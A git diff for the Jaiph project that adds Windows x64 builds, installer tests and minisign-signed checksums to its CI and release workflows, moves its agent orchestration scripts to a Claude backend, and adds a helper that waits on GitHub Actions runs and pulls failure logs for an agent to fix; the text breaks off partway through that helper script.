diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c911083d..2f779f39 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -4,19 +4,6 @@ on: push: jobs: - shellcheck: - name: ShellCheck - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v4 - - - name: Install shellcheck - run: sudo apt-get update && sudo apt-get install -y shellcheck - - - name: Run shellcheck - run: shellcheck runtime/overlay-run.sh - test: name: Compiler and unit tests runs-on: ubuntu-latest @@ -275,9 +262,86 @@ jobs: $bashScript = $bashScript -replace "`r", "" wsl -d "$distro" -- bash -lc "$bashScript" + installer-powershell: + name: PowerShell installer (windows-x64) + runs-on: windows-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + + - name: Setup Bun + uses: oven-sh/setup-bun@v2 + + - name: Install dependencies + run: npm ci + + - name: Build TypeScript + embed assets + run: npm run build + + # Same build as release.yml's windows-x64 leg, so the acceptance runs the + # real self-contained binary the release ships. + - name: Cross-compile windows-x64 standalone binary + shell: bash + run: | + set -euo pipefail + bun build --compile --target=bun-windows-x64 ./src/cli.ts --outfile jaiph-windows-x64.exe + ls -la jaiph-windows-x64.exe + + - name: Run PowerShell installer acceptance (docs/install.ps1) + shell: pwsh + run: | + $env:JAIPH_TEST_WINDOWS_EXE = Join-Path $env:GITHUB_WORKSPACE "jaiph-windows-x64.exe" + ./e2e/tests/installer_powershell.ps1 + + windows-native-smoke: + name: Native Windows smoke (windows-latest, no WSL) + runs-on: windows-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + + - name: Setup Bun + uses: oven-sh/setup-bun@v2 + + - name: Install dependencies + run: npm ci + + - name: Build TypeScript + embed assets + run: npm run build + + # Same build as release.yml's windows-x64 leg / the installer-powershell + # job, so the smoke test runs the real self-contained binary we ship. + - name: Cross-compile windows-x64 standalone binary + shell: bash + run: | + set -euo pipefail + bun build --compile --target=bun-windows-x64 ./src/cli.ts --outfile jaiph-windows-x64.exe + ls -la jaiph-windows-x64.exe + + # Native run only — no `wsl`. Git for Windows' sh.exe (preinstalled on the + # runner) is the POSIX shell for inline lines; the harness shadows `wsl` so + # any accidental invocation fails the job. + - name: Run native Windows smoke (e2e/tests/windows_native_smoke.ps1) + shell: pwsh + run: | + $env:JAIPH_TEST_WINDOWS_EXE = Join-Path $env:GITHUB_WORKSPACE "jaiph-windows-x64.exe" + ./e2e/tests/windows_native_smoke.ps1 + docker-publish: name: Publish Docker runtime image - needs: [test, e2e, docs-local, e2e-wsl] + needs: [test, e2e, docs-local, e2e-wsl, installer-powershell, windows-native-smoke] if: github.ref == 'refs/heads/nightly' || startsWith(github.ref, 'refs/tags/v') runs-on: ubuntu-latest permissions: @@ -323,4 +387,4 @@ jobs: run: | TAG="$(echo '${{ steps.meta.outputs.tags }}' | cut -d',' -f1)" docker run --rm --entrypoint sh "${TAG}" -lc "command -v jaiph && jaiph --version" - docker run --rm --user 0:0 --cap-drop ALL --cap-add SYS_ADMIN --entrypoint sh "${TAG}" -lc "command -v jaiph" + docker run --rm --cap-drop ALL --entrypoint sh "${TAG}" -lc "command -v jaiph" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ab8d24d6..bcbd1382 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -57,15 +57,24 @@ jobs: - target: bun-darwin-arm64 os: darwin arch: arm64 + ext: "" - target: bun-darwin-x64 os: darwin arch: x64 + ext: "" - target: bun-linux-x64 os: linux arch: x64 + ext: "" - target: bun-linux-arm64 os: linux arch: arm64 + ext: "" + # Bun has no bun-windows-arm64 target; windows ships x64 only. + - target: bun-windows-x64 + os: windows + arch: x64 + ext: ".exe" steps: - name: Checkout uses: actions/checkout@v4 @@ -88,20 +97,61 @@ jobs: - name: Cross-compile standalone binary for ${{ matrix.target }} run: | set -euo pipefail - bun build --compile --target=${{ matrix.target }} ./src/cli.ts --outfile "jaiph-${{ matrix.os }}-${{ matrix.arch }}" - ls -la "jaiph-${{ matrix.os }}-${{ matrix.arch }}" + out="jaiph-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.ext }}" + bun build --compile --target=${{ matrix.target }} ./src/cli.ts --outfile "${out}" + ls -la "${out}" - name: Upload binary artifact uses: actions/upload-artifact@v4 with: - name: jaiph-${{ matrix.os }}-${{ matrix.arch }} - path: jaiph-${{ matrix.os }}-${{ matrix.arch }} + name: jaiph-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.ext }} + path: jaiph-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.ext }} if-no-files-found: error retention-days: 7 + sanity-windows: + name: Sanity gate (windows-x64 --version) + needs: build + runs-on: windows-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Resolve tag and channel + id: meta + shell: bash + run: | + set -euo pipefail + case "${GITHUB_REF}" in + refs/tags/v*) + tag="${GITHUB_REF_NAME}"; channel="stable" ;; + refs/heads/nightly) + tag="nightly"; channel="nightly" ;; + *) + echo "Unsupported ref for release: ${GITHUB_REF}" >&2; exit 1 ;; + esac + echo "tag=${tag}" >> "${GITHUB_OUTPUT}" + echo "channel=${channel}" >> "${GITHUB_OUTPUT}" + + - name: Download windows binary artifact + uses: actions/download-artifact@v4 + with: + name: jaiph-windows-x64.exe + path: release-assets + + - name: Sanity gate (windows-x64 --version) + working-directory: release-assets + shell: bash + run: | + set -euo pipefail + got="$(./jaiph-windows-x64.exe --version)" + echo "got: ${got}" + bash ../scripts/release-version-check.sh \ + "${{ steps.meta.outputs.channel }}" "${{ steps.meta.outputs.tag }}" "${got}" + release: name: Publish release assets - needs: build + needs: [build, sanity-windows] runs-on: ubuntu-latest permissions: contents: write @@ -118,7 +168,7 @@ jobs: case "${GITHUB_REF}" in refs/tags/v*) tag="${GITHUB_REF_NAME}"; channel="stable" ;; - refs/heads/nightly|refs/tags/nightly) + refs/heads/nightly) tag="nightly"; channel="nightly" ;; *) echo "Unsupported ref for release: ${GITHUB_REF}" >&2; exit 1 ;; @@ -138,48 +188,99 @@ jobs: set -euo pipefail ls -la rm -f SHA256SUMS - sha256sum jaiph-darwin-arm64 jaiph-darwin-x64 jaiph-linux-x64 jaiph-linux-arm64 > SHA256SUMS + sha256sum jaiph-darwin-arm64 jaiph-darwin-x64 jaiph-linux-x64 jaiph-linux-arm64 jaiph-windows-x64.exe > SHA256SUMS cat SHA256SUMS - - name: Sanity gate (linux-x64 --version) + - name: Install minisign + run: sudo apt-get update -qq && sudo apt-get install -y -qq minisign + + - name: Sign SHA256SUMS with minisign working-directory: release-assets + env: + MINISIGN_SECRET_KEY: ${{ secrets.MINISIGN_SECRET_KEY }} run: | set -euo pipefail - chmod +x jaiph-linux-x64 - got="$(./jaiph-linux-x64 --version)" - echo "got: ${got}" - if [ "${{ steps.meta.outputs.channel }}" = "stable" ]; then - tag="${{ steps.meta.outputs.tag }}" - expected="jaiph ${tag#v}" - if [ "${got}" != "${expected}" ]; then - echo "Version sanity check failed: expected '${expected}', got '${got}'" >&2 + rm -f SHA256SUMS.minisig + if [ -z "${MINISIGN_SECRET_KEY}" ]; then + echo "MINISIGN_SECRET_KEY secret is not set — skipping detached signature." >&2 + echo "Set the secret to enable signed releases (see docs/contributing.md)." >&2 + echo "Installers fail closed without SHA256SUMS.minisig; do not upload an empty stub" >&2 + echo "(GitHub rejects 0-byte release assets with HTTP 400 Bad Content-Length)." >&2 + else + command -v minisign >/dev/null + key_file="$(mktemp)" + cleanup() { rm -f "${key_file}"; } + trap cleanup EXIT + + if [[ "${MINISIGN_SECRET_KEY}" == untrusted\ comment:* ]]; then + printf '%s' "${MINISIGN_SECRET_KEY}" > "${key_file}" + else + if ! printf '%s' "${MINISIGN_SECRET_KEY}" | base64 -d > "${key_file}" 2>/dev/null; then + echo "MINISIGN_SECRET_KEY must be the full jaiph.key file or base64 -w0 jaiph.key" >&2 + exit 1 + fi + fi + chmod 600 "${key_file}" + + first_line="$(head -1 "${key_file}")" + if [[ "${first_line}" == *"public key"* ]]; then + echo "MINISIGN_SECRET_KEY is jaiph.pub (public key). Paste jaiph.key (secret key) instead." >&2 exit 1 fi - else - if ! printf '%s\n' "${got}" | grep -Eq '^jaiph [0-9]+\.[0-9]+\.[0-9]+'; then - echo "Version sanity check failed: '${got}' does not look like a jaiph version" >&2 + if [[ "${first_line}" != *"secret key"* ]]; then + echo "MINISIGN_SECRET_KEY does not look like a minisign secret key." >&2 + echo "First line: ${first_line}" >&2 exit 1 fi + if [ "$(grep -c . "${key_file}")" -lt 2 ]; then + echo "MINISIGN_SECRET_KEY is incomplete — need header line and base64 body line." >&2 + exit 1 + fi + + # minisign -W still writes "encrypted secret key" with an empty password. + if [[ "${first_line}" == *"encrypted secret key"* ]]; then + printf '\n' | minisign -S -s "${key_file}" -m SHA256SUMS -x SHA256SUMS.minisig + else + minisign -S -s "${key_file}" -m SHA256SUMS -x SHA256SUMS.minisig + fi + echo "SHA256SUMS.minisig written." fi + - name: Sanity gate (linux-x64 --version) + working-directory: release-assets + run: | + set -euo pipefail + chmod +x jaiph-linux-x64 + got="$(./jaiph-linux-x64 --version)" + echo "got: ${got}" + bash ../scripts/release-version-check.sh \ + "${{ steps.meta.outputs.channel }}" "${{ steps.meta.outputs.tag }}" "${got}" + - name: Publish stable release ${{ steps.meta.outputs.tag }} if: steps.meta.outputs.channel == 'stable' working-directory: release-assets run: | set -euo pipefail tag="${{ steps.meta.outputs.tag }}" + assets=( + jaiph-darwin-arm64 jaiph-darwin-x64 + jaiph-linux-x64 jaiph-linux-arm64 + jaiph-windows-x64.exe + SHA256SUMS + ) + if [ -s SHA256SUMS.minisig ]; then + assets+=(SHA256SUMS.minisig) + elif gh release view "${tag}" >/dev/null 2>&1; then + # Drop a stale signature so installers fail closed instead of verifying an old one. + gh release delete-asset "${tag}" SHA256SUMS.minisig --yes 2>/dev/null || true + fi if gh release view "${tag}" >/dev/null 2>&1; then - gh release upload "${tag}" --clobber \ - jaiph-darwin-arm64 jaiph-darwin-x64 \ - jaiph-linux-x64 jaiph-linux-arm64 \ - SHA256SUMS + gh release upload "${tag}" --clobber "${assets[@]}" else gh release create "${tag}" \ --title "${tag}" \ - --notes "Jaiph ${tag} — standalone binaries (darwin/linux × arm64/x64) plus SHA256SUMS." \ - jaiph-darwin-arm64 jaiph-darwin-x64 \ - jaiph-linux-x64 jaiph-linux-arm64 \ - SHA256SUMS + --notes "Jaiph ${tag} — standalone binaries (darwin/linux × arm64/x64, windows x64) plus SHA256SUMS." \ + "${assets[@]}" fi - name: Publish nightly prerelease @@ -187,18 +288,25 @@ jobs: working-directory: release-assets run: | set -euo pipefail + assets=( + jaiph-darwin-arm64 jaiph-darwin-x64 + jaiph-linux-x64 jaiph-linux-arm64 + jaiph-windows-x64.exe + SHA256SUMS + ) + if [ -s SHA256SUMS.minisig ]; then + assets+=(SHA256SUMS.minisig) + elif gh release view nightly >/dev/null 2>&1; then + # Drop a stale signature so installers fail closed instead of verifying an old one. + gh release delete-asset nightly SHA256SUMS.minisig --yes 2>/dev/null || true + fi if gh release view nightly >/dev/null 2>&1; then - gh release upload nightly --clobber \ - jaiph-darwin-arm64 jaiph-darwin-x64 \ - jaiph-linux-x64 jaiph-linux-arm64 \ - SHA256SUMS + gh release upload nightly --clobber "${assets[@]}" else gh release create nightly \ --title "Nightly" \ --notes "Rolling nightly prerelease — standalone binaries built from the latest \`nightly\` branch." \ --prerelease \ --target "${GITHUB_SHA}" \ - jaiph-darwin-arm64 jaiph-darwin-x64 \ - jaiph-linux-x64 jaiph-linux-arm64 \ - SHA256SUMS + "${assets[@]}" fi diff --git a/.gitignore b/.gitignore index 0b049cf9..2b4c42a8 100644 --- a/.gitignore +++ b/.gitignore @@ -24,6 +24,9 @@ pnpm-debug.log* .env .env.* +# minisign release signing (public key jaiph.pub is committed) +jaiph.key + # OS/editor files .DS_Store .vscode/ diff --git a/.jaiph/architect_review.jh b/.jaiph/architect_review.jh index 552663cd..5bdf8765 100755 --- a/.jaiph/architect_review.jh +++ b/.jaiph/architect_review.jh @@ -4,11 +4,9 @@ import "jaiphlang/queue" as queue import "./lib_common.jh" as common config { - agent.backend = "cursor" - agent.default_model = "composer-2" - agent.cursor_flags = "--force" - # agent.backend = "claude" - # agent.claude_flags = "--permission-mode bypassPermissions" + agent.backend = "claude" + agent.model = "opus" + agent.claude_flags = "--permission-mode bypassPermissions" } script jaiph_review_body_file = `printf '%s\n' "$JAIPH_WORKSPACE/.jaiph/tmp/architect_review_body.txt"` diff --git a/.jaiph/docs_parity.jh b/.jaiph/docs_parity.jh index 143911e6..8d431d9f 100755 --- a/.jaiph/docs_parity.jh +++ b/.jaiph/docs_parity.jh @@ -1,5 +1,11 @@ #!/usr/bin/env jaiph +config { + agent.backend = "claude" + agent.model = "opus" + agent.claude_flags = "--permission-mode bypassPermissions" +} + const role = """ Project-specific context for documenting Jaiph: - You read TypeScript and Bash fluently so you can verify documentation diff --git a/.jaiph/docs_parity_redesign.jh b/.jaiph/docs_parity_redesign.jh index 42df461a..ffc73b2f 100755 --- a/.jaiph/docs_parity_redesign.jh +++ b/.jaiph/docs_parity_redesign.jh @@ -1,5 +1,11 @@ #!/usr/bin/env jaiph +config { + agent.backend = "claude" + agent.model = "opus" + agent.claude_flags = "--permission-mode bypassPermissions" +} + # Redesign-aware variant of docs_parity.jh, meant to be run BY HAND after the # Diátaxis docs redesign (QUEUE.md "Docs redesign" tasks 1-7) has landed. # diff --git a/.jaiph/engineer.jh b/.jaiph/engineer.jh index 96280304..bf137a52 100755 --- a/.jaiph/engineer.jh +++ b/.jaiph/engineer.jh @@ -13,7 +13,7 @@ import "./lib_common.jh" as common config { # agent.backend = "cursor" - # agent.default_model = "composer-2" + # agent.model = "composer-2" # agent.cursor_flags = "--force" agent.backend = "claude" agent.claude_flags = "--permission-mode bypassPermissions" @@ -203,6 +203,10 @@ printf '%s\n' "$line" ``` workflow classify_role(task) { + config { + agent.model = "sonnet" + } + const result = prompt """ ${classification_prompt} @@ -228,6 +232,10 @@ workflow classify_role(task) { } workflow implement(task, role_name) { + config { + agent.model = "opus" + } + run task_text_has_header(task) catch (err) { fail "Provided task does not contain a '## [text]' header" } diff --git a/.jaiph/ensure_ci_passes.jh b/.jaiph/ensure_ci_passes.jh index 21765b68..37c956d8 100755 --- a/.jaiph/ensure_ci_passes.jh +++ b/.jaiph/ensure_ci_passes.jh @@ -3,11 +3,16 @@ import "./lib_common.jh" as common config { - agent.backend = "cursor" - agent.cursor_flags = "--force" + agent.backend = "claude" + agent.claude_flags = "--permission-mode bypassPermissions" } -script npm_run_test_ci = `npm run test:ci` +script npm_run_test_ci = ``` +while IFS= read -r _v; do + unset "$_v" 2>/dev/null || true +done < <(compgen -e | grep '^JAIPH_' || true) +exec npm run test:ci +``` script assert_nonempty_file_or_fail = ``` test -s "$1" || { diff --git a/.jaiph/gh_ci_passes.jh b/.jaiph/gh_ci_passes.jh new file mode 100755 index 00000000..3e6e5c7b --- /dev/null +++ b/.jaiph/gh_ci_passes.jh @@ -0,0 +1,99 @@ +#!/usr/bin/env jaiph + +# +# Wait for GitHub Actions CI on the current branch, pull failure logs, and +# loop with an agent until CI is green (or run.recover_limit is hit). +# +# Run as: +# jaiph run --unsafe --env GITHUB_TOKEN .jaiph/gh_ci_passes.jh +# jaiph run --unsafe --env GITHUB_TOKEN .jaiph/gh_ci_passes.jh -- my-feature-branch +# +# Requires: GH_TOKEN or GITHUB_TOKEN (via --env), jq, git, network access. +# Each retry waits on HEAD after commit+push — do not pin an old commit here. +# +import "jaiphlang/gh_actions" as gh +import "jaiphlang/git" as git +import "./lib_common.jh" as common + +config { + agent.backend = "claude" + agent.claude_flags = "--permission-mode bypassPermissions" +} + +script assert_nonempty_file_or_fail = ``` + test -s "$1" || { + echo "jaiph: ci failure log is empty at $1" >&2 + exit 1 + } +``` + +workflow ensure_gh_ci_passes(branch, workflow_name) { + const ci_log_dir = ".jaiph/tmp" + const ci_log_file = "${ci_log_dir}/gh_ci_passes.last.log" + run common.mkdir_p_simple(ci_log_dir) + + # Empty commit => always resolve HEAD, so each recover retry tracks the new + # push instead of re-checking a stale SHA. + const commit = "" + + ensure gh.token_set() + + run gh.check_ci(branch, commit, workflow_name, ci_log_file) recover (failure) { + run assert_nonempty_file_or_fail(ci_log_file) + log "CI failure summary: ${failure}" + prompt """ + + You are a software engineer fixing a failing GitHub Actions CI build. + + + Fix the code so the remote ${workflow_name} workflow passes on the + current branch. Failure output was saved to: + ${ci_log_file} + + Start by reading the log file (for example: + tail -n 100 '${ci_log_file}') and then apply the smallest safe fix. + + Constraints: + - e2e/tests/* and acceptance JS tests are behavior contracts. + - Default approach: change production code to satisfy existing tests, + not vice versa. + - Modify tests only for intentional behavior changes, incorrect + expectations, or removal of obsolete features. + - Any test change must be minimal with a clear rationale. + - Do NOT add speculative fixes. Fix only what the log shows is broken. + - Do NOT invoke Jaiph orchestration workflows from .jaiph/. + + """ + ensure git.in_git_repo() + prompt """ + Commit the CI fix locally so Jaiph can push it. Do NOT push — Jaiph + performs the push in a trusted step after this. + + Requirements: + 1. Review git status and git diff --stat. + 2. Stage only relevant changes. + 3. Create exactly one commit with a clear imperative message. + 4. Do NOT push, and do NOT amend commits already on the remote. + """ + run git.push(branch) + } + + run common.rm_file_simple(ci_log_file) +} + +workflow pull_latest_logs(branch, workflow_name) { + const ci_log_dir = ".jaiph/tmp" + const ci_log_file = "${ci_log_dir}/gh_ci.latest.log" + run common.mkdir_p_simple(ci_log_dir) + run gh.pull_logs(branch, "", workflow_name, ci_log_file, "1") + run assert_nonempty_file_or_fail(ci_log_file) + return ci_log_file +} + +workflow default(branch, workflow_name) { + const wf = match workflow_name { + "" => "CI" + _ => workflow_name + } + run ensure_gh_ci_passes(branch, wf) +} diff --git a/.jaiph/libs/jaiphlang/gh_actions.jh b/.jaiph/libs/jaiphlang/gh_actions.jh new file mode 100644 index 00000000..e9e8ce3d --- /dev/null +++ b/.jaiph/libs/jaiphlang/gh_actions.jh @@ -0,0 +1,39 @@ +#!/usr/bin/env jaiph + +# +# GitHub Actions helpers for Jaiph orchestration workflows. +# Requires: gh, jq, git, and GH_TOKEN or GITHUB_TOKEN in the environment. +# +# CLI usage: +# jaiph .jaiph/libs/jaiphlang/gh_actions.jh check +# jaiph .jaiph/libs/jaiphlang/gh_actions.jh wait my-branch +# jaiph .jaiph/libs/jaiphlang/gh_actions.jh pull "" abc123 .jaiph/tmp/ci.log +# +import script "./gh_actions.sh" as gh + +export rule token_set() { + run gh("require-token") +} + +export workflow check_ci(branch, commit, workflow_name, log_file) { + return run gh("check-ci", branch, commit, workflow_name, log_file) +} + +export workflow wait_for_ci(branch, commit, workflow_name) { + return run gh("wait-run", branch, commit, workflow_name) +} + +export workflow pull_logs(branch, commit, workflow_name, out_file, failed_only) { + return run gh("pull-logs", branch, commit, workflow_name, out_file, failed_only) +} + +workflow default(cmd, branch, commit, workflow_name, out_file) { + const result = match cmd { + "" => run gh("check-ci", branch, commit, workflow_name) + "check" => run gh("check-ci", branch, commit, workflow_name) + "wait" => run gh("wait-run", branch, commit, workflow_name) + "pull" => run gh("pull-logs", branch, commit, workflow_name, out_file, "1") + _ => fail "Unknown command: ${cmd}. Use: check | wait | pull" + } + log result +} diff --git a/.jaiph/libs/jaiphlang/gh_actions.sh b/.jaiph/libs/jaiphlang/gh_actions.sh new file mode 100755 index 00000000..d193f8cf --- /dev/null +++ b/.jaiph/libs/jaiphlang/gh_actions.sh @@ -0,0 +1,471 @@ +#!/usr/bin/env bash +# GitHub Actions helpers for Jaiph orchestration workflows. +# Requires: gh, jq, git, and GH_TOKEN or GITHUB_TOKEN in the environment. +set -euo pipefail + +GH_ACTIONS_WORKFLOW="${GH_ACTIONS_WORKFLOW:-CI}" +GH_ACTIONS_POLL_INTERVAL="${GH_ACTIONS_POLL_INTERVAL:-30}" +GH_ACTIONS_POLL_MAX="${GH_ACTIONS_POLL_MAX:-120}" +GH_ACTIONS_LOG_TAIL="${GH_ACTIONS_LOG_TAIL:-10}" +GH_ACTIONS_REPO_ARGS=() + +usage() { + cat <<'EOF' +Usage: gh_actions.sh [options] + +Commands: + resolve-run Print the latest matching workflow run id (databaseId). + wait-run Wait until a run completes; print "conclusionurlrun_id". + pull-logs Write workflow logs to a file or stdout. + check-ci Wait for CI on a ref; exit 0 on success, 1 on failure (logs on stdout). + +Shared options: + -b, --branch BRANCH Branch filter (default: current git branch) + -c, --commit SHA Commit filter (default: HEAD when branch is implicit) + -w, --workflow NAME Workflow name (default: CI, or GH_ACTIONS_WORKFLOW) + -R, --repo OWNER/REPO Pass through to gh -R + -h, --help Show help + +resolve-run options: + --any-status Pick the newest run even when still in progress + +wait-run options: + --run-id ID Wait for this run instead of resolving by ref + +pull-logs options: + --run-id ID Run to fetch (otherwise resolve by ref) + -o, --out FILE Output path (default: stdout) + -f, --failed-only Fetch only failed job/step logs + +check-ci options: + -o, --out FILE Write full --log-failed output to FILE (default: + ${JAIPH_WORKSPACE:-.}/.jaiph/tmp/gh_actions.check_ci.log) + Stdout gets only a short summary plus the last + GH_ACTIONS_LOG_TAIL lines (default: 10). + +require-token: + Exit 0 when GH_TOKEN or GITHUB_TOKEN is set; otherwise fail with an explicit error. + +Environment: + GH_TOKEN / GITHUB_TOKEN Required GitHub API token (GITHUB_TOKEN is copied to GH_TOKEN) + GH_ACTIONS_POLL_INTERVAL Seconds between polls (default: 30) + GH_ACTIONS_POLL_MAX Max poll attempts (default: 120) + GH_ACTIONS_LOG_TAIL Lines of failed-log tail on stdout (default: 10) +EOF +} + +die() { + printf 'gh_actions: %s\n' "$*" >&2 + exit 1 +} + +require_tools() { + command -v gh >/dev/null 2>&1 || die "gh not found; install GitHub CLI" + command -v jq >/dev/null 2>&1 || die "jq not found" +} + +require_gh_token() { + if [ -n "${GH_TOKEN:-}" ]; then + return 0 + fi + if [ -n "${GITHUB_TOKEN:-}" ]; then + export GH_TOKEN="$GITHUB_TOKEN" + return 0 + fi + die "GH_TOKEN or GITHUB_TOKEN is required; pass a token explicitly (e.g. jaiph run --unsafe --env GITHUB_TOKEN .jaiph/gh_ci_passes.jh)" +} + +mark_git_workspace_safe() { + command -v git >/dev/null 2>&1 || return 0 + local root="${JAIPH_WORKSPACE:-$(pwd)}" + git config --global --add safe.directory "$root" 2>/dev/null || true + if [ "$(pwd)" != "$root" ]; then + git config --global --add safe.directory "$(pwd)" 2>/dev/null || true + fi +} + +gh_cmd() { + if [ "${#GH_ACTIONS_REPO_ARGS[@]}" -gt 0 ]; then + gh "${GH_ACTIONS_REPO_ARGS[@]}" "$@" + else + gh "$@" + fi +} + +default_branch() { + mark_git_workspace_safe + git rev-parse --abbrev-ref HEAD +} + +default_commit() { + mark_git_workspace_safe + git rev-parse HEAD +} + +list_runs_json() { + local workflow="$1" + local branch="$2" + local commit="$3" + local limit="${4:-5}" + local json + + if [ -n "$commit" ]; then + json="$(gh_cmd run list --workflow "$workflow" --commit "$commit" --limit "$limit" \ + --json databaseId,status,conclusion,url,headBranch,headSha,createdAt)" + else + if [ -z "$branch" ]; then + branch="$(default_branch)" + fi + json="$(gh_cmd run list --workflow "$workflow" --branch "$branch" --limit "$limit" \ + --json databaseId,status,conclusion,url,headBranch,headSha,createdAt)" + fi + + if [ -z "$json" ]; then + json='[]' + fi + printf '%s\n' "$json" +} + +pick_run_json() { + local workflow="$1" + local branch="$2" + local commit="$3" + local any_status="$4" + local json + + json="$(list_runs_json "$workflow" "$branch" "$commit" 5)" + if [ "$(printf '%s' "$json" | jq 'length')" -eq 0 ]; then + printf '\n' + return 0 + fi + + if [ "$any_status" = "1" ]; then + printf '%s' "$json" | jq -c '.[0]' + return 0 + fi + + # Prefer the newest completed run; otherwise return the newest in-flight run. + printf '%s' "$json" | jq -c ' + (map(select(.status == "completed")) | .[0]) + // .[0] + // empty + ' +} + +resolve_run_id() { + local workflow="$1" + local branch="$2" + local commit="$3" + local any_status="$4" + local run_json run_id + + if [ -z "$commit" ] && [ -z "$branch" ]; then + branch="$(default_branch)" + commit="$(default_commit)" + fi + + run_json="$(pick_run_json "$workflow" "$branch" "$commit" "$any_status")" + if [ -z "$run_json" ]; then + return 1 + fi + run_id="$(printf '%s' "$run_json" | jq -r '.databaseId')" + if [ -z "$run_id" ] || [ "$run_id" = "null" ]; then + return 1 + fi + printf '%s\n' "$run_id" +} + +wait_for_ref() { + local workflow="$1" + local branch="$2" + local commit="$3" + local i=1 + local json count status conclusion run_id url ref_label + + if [ -z "$workflow" ]; then + workflow="$GH_ACTIONS_WORKFLOW" + fi + + if [ -z "$commit" ]; then + commit="$(default_commit)" + fi + + if [ -n "$branch" ]; then + ref_label="${branch}@${commit:0:7}" + else + ref_label="${commit:0:7}" + fi + + while [ "$i" -le "$GH_ACTIONS_POLL_MAX" ]; do + json="$(list_runs_json "$workflow" "$branch" "$commit" 1)" + count="$(printf '%s' "$json" | jq 'length')" + if [ "$count" -eq 0 ]; then + printf '[%s/%s] No "%s" workflow run yet for %s\n' \ + "$i" "$GH_ACTIONS_POLL_MAX" "$workflow" "$ref_label" >&2 + sleep "$GH_ACTIONS_POLL_INTERVAL" + i=$((i + 1)) + continue + fi + + status="$(printf '%s' "$json" | jq -r '.[0].status')" + conclusion="$(printf '%s' "$json" | jq -r '.[0].conclusion')" + run_id="$(printf '%s' "$json" | jq -r '.[0].databaseId')" + url="$(printf '%s' "$json" | jq -r '.[0].url')" + + if [ "$status" != "completed" ]; then + printf '[%s/%s] Run %s status=%s (%s)\n' "$i" "$GH_ACTIONS_POLL_MAX" "$run_id" "$status" "$url" >&2 + sleep "$GH_ACTIONS_POLL_INTERVAL" + i=$((i + 1)) + continue + fi + + printf '%s\t%s\t%s\n' "$conclusion" "$url" "$run_id" + return 0 + done + + die "timed out waiting for ${workflow} on ${commit}" +} + +wait_for_run_id() { + local run_id="$1" + gh_cmd run watch "$run_id" --exit-status >/dev/null + gh_cmd run view "$run_id" --json conclusion,url \ + | jq -r '[.conclusion, .url, '"$run_id"'] | @tsv' +} + +assign_positional_ref() { + _gh_branch="${1:-}" + _gh_commit="${2:-}" + _gh_workflow="${3:-$GH_ACTIONS_WORKFLOW}" +} + +cmd_resolve_run() { + local workflow="$GH_ACTIONS_WORKFLOW" + local branch="" + local commit="" + local any_status="0" + + if [ "$#" -gt 0 ] && [ "${1#-}" = "$1" ]; then + assign_positional_ref "$@" + branch="$_gh_branch" + commit="$_gh_commit" + workflow="$_gh_workflow" + resolve_run_id "$workflow" "$branch" "$commit" "$any_status" \ + || die "no ${workflow} run found for the given ref" + return 0 + fi + + while [ "$#" -gt 0 ]; do + case "$1" in + -b|--branch) branch="$2"; shift 2 ;; + -c|--commit) commit="$2"; shift 2 ;; + -w|--workflow) workflow="$2"; shift 2 ;; + -R|--repo) GH_ACTIONS_REPO_ARGS=(-R "$2"); shift 2 ;; + --any-status) any_status="1"; shift ;; + -h|--help) usage; exit 0 ;; + *) die "unknown resolve-run arg: $1" ;; + esac + done + + resolve_run_id "$workflow" "$branch" "$commit" "$any_status" \ + || die "no ${workflow} run found for the given ref" +} + +cmd_wait_run() { + local workflow="$GH_ACTIONS_WORKFLOW" + local branch="" + local commit="" + local run_id="" + + if [ "$#" -gt 0 ] && [ "${1#-}" = "$1" ]; then + assign_positional_ref "$@" + branch="$_gh_branch" + commit="$_gh_commit" + workflow="$_gh_workflow" + wait_for_ref "$workflow" "$branch" "$commit" + return 0 + fi + + while [ "$#" -gt 0 ]; do + case "$1" in + -b|--branch) branch="$2"; shift 2 ;; + -c|--commit) commit="$2"; shift 2 ;; + -w|--workflow) workflow="$2"; shift 2 ;; + -R|--repo) GH_ACTIONS_REPO_ARGS=(-R "$2"); shift 2 ;; + --run-id) run_id="$2"; shift 2 ;; + -h|--help) usage; exit 0 ;; + *) die "unknown wait-run arg: $1" ;; + esac + done + + if [ -n "$run_id" ]; then + wait_for_run_id "$run_id" + else + wait_for_ref "$workflow" "$branch" "$commit" + fi +} + +cmd_pull_logs() { + local workflow="$GH_ACTIONS_WORKFLOW" + local branch="" + local commit="" + local run_id="" + local out_file="" + local failed_only="0" + + if [ "$#" -gt 0 ] && [ "${1#-}" = "$1" ]; then + branch="${1:-}" + commit="${2:-}" + workflow="${3:-$GH_ACTIONS_WORKFLOW}" + out_file="${4:-}" + if [ "${5:-}" = "1" ]; then + failed_only="1" + fi + if [ -z "$run_id" ]; then + run_id="$(resolve_run_id "$workflow" "$branch" "$commit" 1)" \ + || die "no ${workflow} run found for the given ref" + fi + local -a log_args=(run view "$run_id" --log) + if [ "$failed_only" = "1" ]; then + log_args=(run view "$run_id" --log-failed) + fi + if [ -n "$out_file" ]; then + gh_cmd "${log_args[@]}" >"$out_file" + printf '%s\n' "$out_file" + else + gh_cmd "${log_args[@]}" + fi + return 0 + fi + + while [ "$#" -gt 0 ]; do + case "$1" in + -b|--branch) branch="$2"; shift 2 ;; + -c|--commit) commit="$2"; shift 2 ;; + -w|--workflow) workflow="$2"; shift 2 ;; + -R|--repo) GH_ACTIONS_REPO_ARGS=(-R "$2"); shift 2 ;; + --run-id) run_id="$2"; shift 2 ;; + -o|--out) out_file="$2"; shift 2 ;; + -f|--failed-only) failed_only="1"; shift ;; + -h|--help) usage; exit 0 ;; + *) die "unknown pull-logs arg: $1" ;; + esac + done + + if [ -z "$run_id" ]; then + run_id="$(resolve_run_id "$workflow" "$branch" "$commit" 1)" \ + || die "no ${workflow} run found for the given ref" + fi + + local -a log_args=(run view "$run_id" --log) + if [ "$failed_only" = "1" 